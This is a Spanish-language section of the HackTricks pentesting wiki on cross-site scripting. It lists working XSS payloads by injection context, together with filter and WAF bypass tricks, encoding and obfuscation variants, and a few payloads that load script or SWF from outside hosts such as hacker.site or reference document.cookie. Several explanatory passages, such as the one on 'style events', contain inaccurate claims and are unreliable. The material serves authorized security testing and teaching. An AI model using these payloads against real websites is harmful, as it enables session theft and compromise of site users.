hacktricks/pentesting-web/xss-cross-site-scripting
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00
..
abusing-service-workers.md f 2023-06-05 20:33:24 +02:00
chrome-cache-to-xss.md f 2023-06-05 20:33:24 +02:00
debugging-client-side-js.md f 2023-06-05 20:33:24 +02:00
dom-clobbering.md f 2023-06-05 20:33:24 +02:00
dom-invader.md f 2023-06-05 20:33:24 +02:00
dom-xss.md f 2023-06-05 20:33:24 +02:00
iframes-in-xss-and-csp.md f 2023-06-05 20:33:24 +02:00
other-js-tricks.md f 2023-06-05 20:33:24 +02:00
pdf-injection.md f 2023-06-05 20:33:24 +02:00
README.md f 2023-06-05 20:33:24 +02:00
server-side-xss-dynamic-pdf.md f 2023-06-05 20:33:24 +02:00
some-same-origin-method-execution.md f 2023-06-05 20:33:24 +02:00
steal-info-js.md f 2023-06-05 20:33:24 +02:00
xss-in-markdown.md f 2023-06-05 20:33:24 +02:00
xss-tools.md f 2023-06-05 20:33:24 +02:00

XSS (Cross Site Scripting)

/

Consejo de recompensa por errores: regístrese en Intigriti, una plataforma premium de recompensas por errores creada por hackers, para hackers! Únase a nosotros en https://go.intigriti.com/hacktricks hoy mismo y comience a ganar recompensas de hasta $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Metodología

  1. Verifique si cualquier valor que controle (parámetros, ruta, encabezados?, cookies?) se está reflejando en el HTML o se está utilizando por el código JS.
  2. Encuentre el contexto donde se refleja/utiliza.
  3. Si está reflejado
    1. Verifique qué símbolos puede usar y, en función de eso, prepare la carga útil:
      1. En HTML sin procesar:
        1. ¿Puede crear nuevas etiquetas HTML?
        2. ¿Puede utilizar eventos o atributos que admitan el protocolo javascript:?
        3. ¿Puede evitar protecciones?
        4. Si el contenido HTML es interpretado por algún motor JS del lado del cliente (AngularJS, VueJS, Mavo...), podría abusar de una Inyección de plantillas del lado del cliente.
        5. Si no puede crear etiquetas HTML que ejecuten código JS, ¿podría abusar de una Inyección de marcado colgante - Inyección de HTML sin script?
      2. Dentro de una etiqueta HTML:
        1. ¿Puede salir al contexto de HTML sin procesar?
        2. ¿Puede crear nuevos eventos/atributos para ejecutar código JS?
        3. ¿El atributo en el que está atrapado admite la ejecución de JS?
        4. ¿Puede evitar protecciones?
      3. Dentro del código JavaScript:
        1. ¿Puede escapar de la etiqueta <script>?
        2. ¿Puede escapar de la cadena y ejecutar un código JS diferente?
        3. ¿Está su entrada en plantillas literales ``?
        4. ¿Puede evitar protecciones?
      4. Función de JavaScript que se está ejecutando
        1. Puede indicar el nombre de la función a ejecutar. p. ej.: ?callback=alert(1)
  4. Si se utiliza:
    1. Podría explotar un DOM XSS, preste atención a cómo se controla su entrada y si su entrada controlada se utiliza por algún sumidero.

Cuando trabaje en un XSS complejo, puede resultar interesante conocer:

{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}

Valores reflejados

Para explotar con éxito un XSS, lo primero que debe encontrar es un valor controlado por usted que se refleje en la página web.

  • Reflejado intermedio: Si encuentra que el valor de un parámetro o incluso la ruta se refleja en la página web, podría explotar un Reflejado XSS.
  • Almacenado y reflejado: Si encuentra que un valor controlado por usted se guarda en el servidor y se refleja cada vez que accede a una página, podría explotar un Almacenado XSS.
  • Accedido a través de JS: Si encuentra que un valor controlado por usted se está accediendo mediante JS, podría explotar un DOM XSS.

Contextos

Al intentar explotar un XSS, lo primero que debe saber es dónde se refleja su entrada. Dependiendo del contexto, podrá ejecutar código JS arbitrario de diferentes maneras.

HTML sin procesar

Si su entrada se refleja en la página HTML sin procesar, deberá abusar de alguna etiqueta HTML para ejecutar código JS: <img , <iframe , <svg , <script ... estas son solo algunas de las muchas etiquetas HTML posibles que podría usar.
Además, tenga en cuenta la Inyección de plantillas del lado del cliente.

Dentro del atributo de las etiquetas HTML

Si su entrada se refleja dentro del valor del atributo de una etiqueta, podría intentar:

  1. Escapar del atributo y de la etiqueta (entonces estará en el HTML sin procesar) y crear una nueva etiqueta HTML para abusar: "><img [...]
  2. Si puede escapar del atributo pero no de la etiqueta (> está codificado o eliminado), según la etiqueta, podría crear un evento que ejecute código JS: " autofocus onfocus=alert(1) x="
  3. Si no puede escapar del atributo (" se está codificando o eliminando), entonces, según qué atributo refleje su valor y si controla todo el valor o solo una parte, podrá abusar de él. Por ejemplo, si controla un evento como onclick=, podrá hacer que ejecute código arbitrario cuando se hace clic en él. Otro ejemplo interesante es el atributo href, donde puede usar el protocolo javascript: para ejecutar código arbitrario: href="javascript:alert(1)"
  4. Si su entrada se refleja dentro de "etiquetas no explotables", podría intentar el truco de accesskey para abusar de la vulnerabilidad (necesitará algún tipo de ingeniería social para explotar esto): " accesskey="x" onclick="alert(1)" x="

Dentro del código JavaScript

En este caso, su entrada se refleja entre las etiquetas <script> [...] </script> de una página HTML, dentro de un archivo .js o dentro de un atributo que utiliza el protocolo javascript::

  • Si se refleja entre las etiquetas <script> [...] </script>, incluso si su entrada está dentro de cualquier tipo de comillas, puede intentar inyectar </script> y escapar de este contexto. Esto funciona porque el navegador primero analizará las etiquetas HTML y luego el contenido, por lo tanto, no notará que su etiqueta </script> inyectada está dentro del código HTML.
  • Si se refleja dentro de una cadena JS y el último truco no funciona, deberá salir de la cadena, ejecutar su código y reconstruir el código JS (si hay algún error, no se ejecutará):
    • '-alert(1)-'
    • ';-alert(1)//
    • \';alert(1)//
  • Si se refleja dentro de plantillas literales, puede incrustar expresiones JS utilizando la sintaxis ${ ... }: var greetings = `Hello, ${alert(1)}`
  • La codificación Unicode funciona para escribir código JavaScript válido:
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Elevación de funciones en Javascript

La elevación de funciones en Javascript se refiere a la oportunidad de declarar funciones, variables o clases después de que se usan.

Por lo tanto, si tienes escenarios donde puedes inyectar código JS después de que se use un objeto no declarado, podrías arreglar la sintaxis declarándolo (para que tu código se ejecute en lugar de arrojar un error):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>'); 
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
    return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
    return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

Para obtener más información sobre el Hoisting de Javascript, consulte: https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios

Función Javascript

Varias páginas web tienen puntos finales que aceptan como parámetro el nombre de la función a ejecutar. Un ejemplo común que se puede encontrar es algo como: ?callback=callbackFunc.

Una buena manera de descubrir si algo dado directamente por el usuario está tratando de ser ejecutado es modificando el valor del parámetro (por ejemplo, a 'Vulnerable') y buscando en la consola errores como:

En caso de que sea vulnerable, podrías ser capaz de disparar una alerta simplemente enviando el valor: ?callback=alert(1). Sin embargo, es muy común que estos puntos finales validen el contenido para permitir solo letras, números, puntos y guiones bajos ([\w\._]).

Sin embargo, incluso con esa limitación, todavía es posible realizar algunas acciones. Esto se debe a que se pueden usar esos caracteres válidos para acceder a cualquier elemento en el DOM:

Algunas funciones útiles para esto:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

También puedes intentar activar funciones de Javascript directamente: obj.sales.delOrders.

Sin embargo, por lo general, los puntos finales que ejecutan la función indicada son puntos finales sin mucho DOM interesante, otras páginas en la misma origen tendrán un DOM más interesante para realizar más acciones.

Por lo tanto, para abusar de esta vulnerabilidad en un DOM diferente se desarrolló la explotación de Same Origin Method Execution (SOME):

{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

DOM

Hay código JS que está utilizando de manera insegura algunos datos controlados por un atacante como location.href. Un atacante podría abusar de esto para ejecutar código JS arbitrario.

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

XSS Universal

Este tipo de XSS se puede encontrar en cualquier lugar. No dependen solo de la explotación del cliente de una aplicación web, sino de cualquier contexto. Este tipo de ejecución arbitraria de JavaScript incluso se puede abusar para obtener RCE, leer archivos arbitrarios en clientes y servidores, y más.
Algunos ejemplos:

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

{% content-ref url="../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/" %} xss-to-rce-electron-desktop-apps {% endcontent-ref %}

Bypass de WAF codificando imagen

de https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Inyectando dentro de HTML sin formato

Cuando tu entrada se refleja dentro de la página HTML o puedes escapar e inyectar código HTML en este contexto, lo primero que debes hacer es comprobar si puedes abusar de < para crear nuevas etiquetas: simplemente intenta reflejar ese carácter y comprueba si está siendo codificado en HTML o eliminado o si se refleja sin cambios. Solo en el último caso podrás explotar este caso.
Para estos casos, también ten en cuenta Inyección de plantillas del lado del cliente (Client Side Template Injection).
Nota: Un comentario HTML se puede cerrar usando****************** --> o ****--!>**

En este caso, y si no se utiliza una lista negra o blanca, podrías usar cargas útiles como:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

Pero, si se está utilizando una lista negra o blanca de etiquetas/atributos, necesitarás probar a fuerza bruta qué etiquetas puedes crear.
Una vez que hayas localizado qué etiquetas están permitidas, tendrás que probar a fuerza bruta los atributos/eventos dentro de las etiquetas válidas encontradas para ver cómo puedes atacar el contexto.

Fuerza bruta de etiquetas/eventos

Ve a https://portswigger.net/web-security/cross-site-scripting/cheat-sheet y haz clic en Copiar etiquetas al portapapeles. Luego, envíalas todas usando Burp intruder y comprueba si alguna etiqueta no fue descubierta como maliciosa por el WAF. Una vez que hayas descubierto qué etiquetas puedes usar, puedes probar a fuerza bruta todos los eventos usando las etiquetas válidas (en la misma página web, haz clic en Copiar eventos al portapapeles y sigue el mismo procedimiento que antes).

Etiquetas personalizadas

Si no encontraste ninguna etiqueta HTML válida, puedes intentar crear una etiqueta personalizada y ejecutar código JS con el atributo onfocus. En la solicitud XSS, debes terminar la URL con # para hacer que la página se centre en ese objeto y ejecute el código:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Saltos de lista negra

Si se está utilizando algún tipo de lista negra, se podría intentar saltarla con algunos trucos tontos:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Bypass de longitud (pequeñas XSS)

{% hint style="info" %} Se pueden encontrar más payloads de XSS pequeñas para diferentes entornos aquí y aquí. {% endhint %}

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

El último método utiliza 2 caracteres Unicode que se expanden a 5: telsr
Puedes encontrar más de estos caracteres aquí.
Para verificar en qué caracteres se descompone, consulta aquí.

Click XSS - Clickjacking

Si para explotar la vulnerabilidad necesitas que el usuario haga clic en un enlace o un formulario con datos prellenados, podrías intentar abusar de Clickjacking (si la página es vulnerable).

Imposible - Dangling Markup

Si piensas que es imposible crear una etiqueta HTML con un atributo para ejecutar código JS, deberías revisar Dangling Markup porque podrías explotar la vulnerabilidad sin ejecutar código JS.

Inyectando dentro de una etiqueta HTML

Dentro de la etiqueta/escapando del valor del atributo

Si estás dentro de una etiqueta HTML, lo primero que podrías intentar es escapar de la etiqueta y usar algunas de las técnicas mencionadas en la sección anterior para ejecutar código JS.
Si no puedes escapar de la etiqueta, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo usando una carga útil como (nota que en este ejemplo se usan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Eventos de estilo

Los eventos de estilo son una forma de ejecutar código JavaScript en respuesta a un cambio en el estilo de un elemento HTML. Estos eventos pueden ser explotados por un atacante para ejecutar código malicioso en el navegador de la víctima. Los eventos de estilo incluyen onload, onunload, onresize, onblur, onfocus, onmove, onscroll, onsubmit, onreset, onselect, onchange, onerror, onabort y oncontextmenu. Para explotar estos eventos, un atacante puede inyectar código malicioso en un atributo de estilo, como background-image o font-family, y luego desencadenar el evento correspondiente.

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Dentro del atributo

Incluso si no puedes escapar del atributo (" está siendo codificado o eliminado), dependiendo de qué atributo refleje tu valor y si controlas todo el valor o solo una parte, podrás abusar de él. Por ejemplo, si controlas un evento como onclick=, podrás hacer que se ejecute código arbitrario cuando se haga clic.
Otro ejemplo interesante es el atributo href, donde puedes usar el protocolo javascript: para ejecutar código arbitrario: href="javascript:alert(1)"

Bypass dentro del evento usando codificación HTML/codificación URL

Los caracteres codificados en HTML dentro del valor de los atributos de las etiquetas HTML se decodifican en tiempo de ejecución. Por lo tanto, algo como lo siguiente será válido (la carga útil está en negrita): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Ten en cuenta que cualquier tipo de codificación HTML es válida:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Nota que la codificación URL también funcionará:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass de evento interno usando codificación Unicode

En algunos casos, los filtros de XSS pueden ser engañados utilizando la codificación Unicode. Esto se debe a que algunos navegadores pueden interpretar ciertos caracteres Unicode como equivalentes a caracteres ASCII. Por ejemplo, el carácter Unicode \u003c se interpreta como <.

Para aprovechar esta técnica, se puede codificar el carácter < como \u003c y así evitar que el filtro de XSS lo detecte. Por ejemplo, si el filtro de XSS está buscando la cadena <script>, se puede codificar como \u003cscript> para evitar su detección.

Esta técnica también se puede utilizar para evitar la detección de otros caracteres especiales, como >, ", ', ( y ).

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Protocolos Especiales Dentro del Atributo

En algunos lugares, se pueden utilizar los protocolos javascript: o data: para ejecutar código JS arbitrario. Algunos requerirán interacción del usuario y otros no.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line 
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Lugares donde se pueden inyectar estos protocolos

En general, el protocolo javascript: se puede usar en cualquier etiqueta que acepte el atributo href y en la mayoría de las etiquetas que aceptan el atributo src (pero no en <img).

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf 
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf 
<iframe srcdoc="<svg onload=alert(4);>">

Otros trucos de ofuscación

En este caso, el truco de codificación HTML y el truco de codificación Unicode de la sección anterior también son válidos ya que se encuentran dentro de un atributo.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Además, hay otro truco interesante para estos casos: Incluso si su entrada dentro de javascript:... está siendo codificada en URL, será decodificada antes de ser ejecutada. Así que, si necesita escapar de la cadena usando una comilla simple y ve que está siendo codificada en URL, recuerde que no importa, será interpretada como una comilla simple durante el tiempo de ejecución.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Ten en cuenta que si intentas usar ambos URLencode + HTMLencode en cualquier orden para codificar el payload no funcionará, pero puedes mezclarlos dentro del payload.

Usando codificación Hex y Octal con javascript:

Puedes usar la codificación Hex y Octal dentro del atributo src de iframe (al menos) para declarar etiquetas HTML para ejecutar JS:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

El reverse tab nabbing es una técnica de phishing que aprovecha la funcionalidad de los enlaces target="_blank" para redirigir al usuario a una página maliciosa cuando cierra la pestaña abierta. Esto se logra mediante la inclusión de código JavaScript en la página maliciosa que detecta cuando la pestaña activa pierde el foco y redirige al usuario a la página maliciosa.

Para prevenir el reverse tab nabbing, se puede agregar el atributo rel="noopener" a los enlaces target="_blank". Esto evita que la página maliciosa tenga acceso al objeto window.opener y, por lo tanto, no puede redirigir al usuario a la página maliciosa.

<a target="_blank" rel="opener"

Si puedes inyectar cualquier URL en una etiqueta <a href= arbitraria que contenga los atributos target="_blank" y rel="opener", revisa la siguiente página para explotar este comportamiento:

{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}

Bypass en Manejadores de Eventos

En primer lugar, revisa esta página (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) para encontrar útiles manejadores de eventos "on".
En caso de que haya alguna lista negra que te impida crear estos manejadores de eventos, puedes probar los siguientes bypasses:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Desde aquí:
Puedes ejecutar un payload XSS dentro de un atributo oculto, siempre y cuando puedas persuadir a la víctima para que presione la combinación de teclas. En Firefox Windows/Linux la combinación de teclas es ALT+SHIFT+X y en OS X es CTRL+ALT+X. Puedes especificar una combinación de teclas diferente usando una tecla diferente en el atributo de clave de acceso. Aquí está el vector:

<input type="hidden" accesskey="X" onclick="alert(1)">

El payload de XSS será algo como esto: " accesskey="x" onclick="alert(1)" x="

Saltos de lista negra

Ya se han expuesto varios trucos con el uso de diferentes codificaciones dentro de esta sección. Vuelve atrás para aprender dónde puedes usar:

  • Codificación HTML (etiquetas HTML)
  • Codificación Unicode (puede ser código JS válido): \u0061lert(1)
  • Codificación URL
  • Codificación hexadecimal y octal
  • Codificación de datos

Saltos de lista negra para etiquetas y atributos HTML

Lee los Saltos de lista negra de la sección anterior.

Saltos de lista negra para código JavaScript

Lee los Saltos de lista negra de JavaScript de la siguiente sección.

CSS-Gadgets

Si encontraste un XSS en una parte muy pequeña de la web que requiere algún tipo de interacción (tal vez un pequeño enlace en el pie de página con un elemento onmouseover), puedes intentar modificar el espacio que ocupa el elemento para maximizar las probabilidades de que se active el enlace.

Por ejemplo, podrías agregar algún estilo en el elemento como: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Pero, si el WAF está filtrando el atributo de estilo, puedes usar CSS Styling Gadgets, así que si encuentras, por ejemplo

.test {display:block; color: blue; width: 100%}

y

#someid {top: 0; font-family: Tahoma;}

Ahora puedes modificar nuestro enlace y llevarlo a la forma

<a href=”” id=someid class=test onclick=alert() a=””>

Este truco fue tomado de https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Inyectando dentro del código JavaScript

En este caso, tu entrada se reflejará dentro del código JS de un archivo .js o entre etiquetas <script>...</script> o entre eventos HTML que pueden ejecutar código JS o entre atributos que aceptan el protocolo javascript:.

Escapando la etiqueta <script>

Si tu código se inserta dentro de <script> [...] var input = 'datos reflejados' [...] </script> puedes escapar cerrando la etiqueta <script> fácilmente:

</script><img src=1 onerror=alert(document.domain)>

Ten en cuenta que en este ejemplo ni siquiera hemos cerrado la comilla simple, pero no es necesario ya que el navegador primero realiza el análisis HTML para identificar los elementos de la página, incluyendo bloques de script, y solo más tarde realiza el análisis de JavaScript para entender y ejecutar los scripts incrustados.

Dentro del código JS

Si se están sanitizando <>, aún puedes escapar la cadena donde se encuentra tu entrada y ejecutar JS arbitrario. Es importante arreglar la sintaxis de JS, porque si hay algún error, el código JS no se ejecutará:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

Literales de plantilla ``

Para construir cadenas de texto aparte de las comillas simples y dobles, JS también acepta backticks ``. Esto se conoce como literales de plantilla ya que permiten incrustar expresiones JS usando la sintaxis ${ ... }.
Por lo tanto, si descubres que tu entrada se está reflejando dentro de una cadena JS que está usando backticks, puedes abusar de la sintaxis ${ ... } para ejecutar código JS arbitrario:

Esto puede ser abusado usando:

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

Ejecución de código codificado

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

Ejecución de JS con codificación Unicode

En algunos casos, los filtros de XSS pueden ser engañados mediante la codificación Unicode de los caracteres. Esto se debe a que algunos filtros no están diseñados para detectar caracteres Unicode y, por lo tanto, permiten que el código malicioso pase desapercibido.

Para codificar un carácter en Unicode, se debe utilizar el formato \uXXXX, donde XXXX es el valor hexadecimal del carácter. Por ejemplo, el carácter a se puede codificar como \u0061.

Para ejecutar código JS utilizando esta técnica, se puede utilizar la función String.fromCharCode() para convertir los valores Unicode en caracteres y, a continuación, ejecutar el código utilizando la función eval(). Por ejemplo:

<script>
eval(String.fromCharCode(97,108,101,114,116,40,49,41,59))
</script>

Este código ejecutará la función alert(1) en el navegador.

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Técnicas de omisión de listas negras de JavaScript

Cadenas de texto

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Escapes especiales

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

Sustituciones de espacios dentro del código JS

<TAB>
/**/

Comentarios de JavaScript (del truco de Comentarios de JavaScript)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

Saltos de línea en JavaScript (del truco de saltos de línea en JavaScript)**

El truco consiste en utilizar los saltos de línea para evitar la detección de palabras clave en el código JavaScript. Por ejemplo, si se quiere ejecutar el código alert(1) pero se sabe que la palabra clave alert está siendo filtrada, se puede dividir la palabra en dos líneas: ale rt(1). De esta manera, el filtro no detectará la palabra clave y el código se ejecutará correctamente.

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

Espacios en blanco de JavaScript

Los espacios en blanco en JavaScript son importantes para la legibilidad del código, pero también pueden ser utilizados para evadir la detección de filtros de XSS. Algunas técnicas comunes incluyen:

  • Espacios en blanco Unicode: Unicode tiene varios caracteres que se ven como espacios en blanco, pero no son reconocidos por los filtros de XSS. Algunos ejemplos incluyen &#x3000; y &#x2000;.
  • Espacios en blanco HTML: HTML tiene varios caracteres que se ven como espacios en blanco, pero no son reconocidos por los filtros de XSS. Algunos ejemplos incluyen &nbsp; y &ensp;.
  • Espacios en blanco CSS: CSS tiene varios caracteres que se ven como espacios en blanco, pero no son reconocidos por los filtros de XSS. Algunos ejemplos incluyen margin-top:expression( y margin-top/**/:expression(.

Estos espacios en blanco pueden ser utilizados para separar palabras clave y operadores en el código JavaScript, lo que puede hacer que el código sea más difícil de detectar para los filtros de XSS.

log=[];
function funct(){}
  for(let i=0;i<=0x10ffff;i++){
      try{
        eval(`funct${String.fromCodePoint(i)}()`);
        log.push(i);
      }
      catch(e){}
  }
console.log(log)
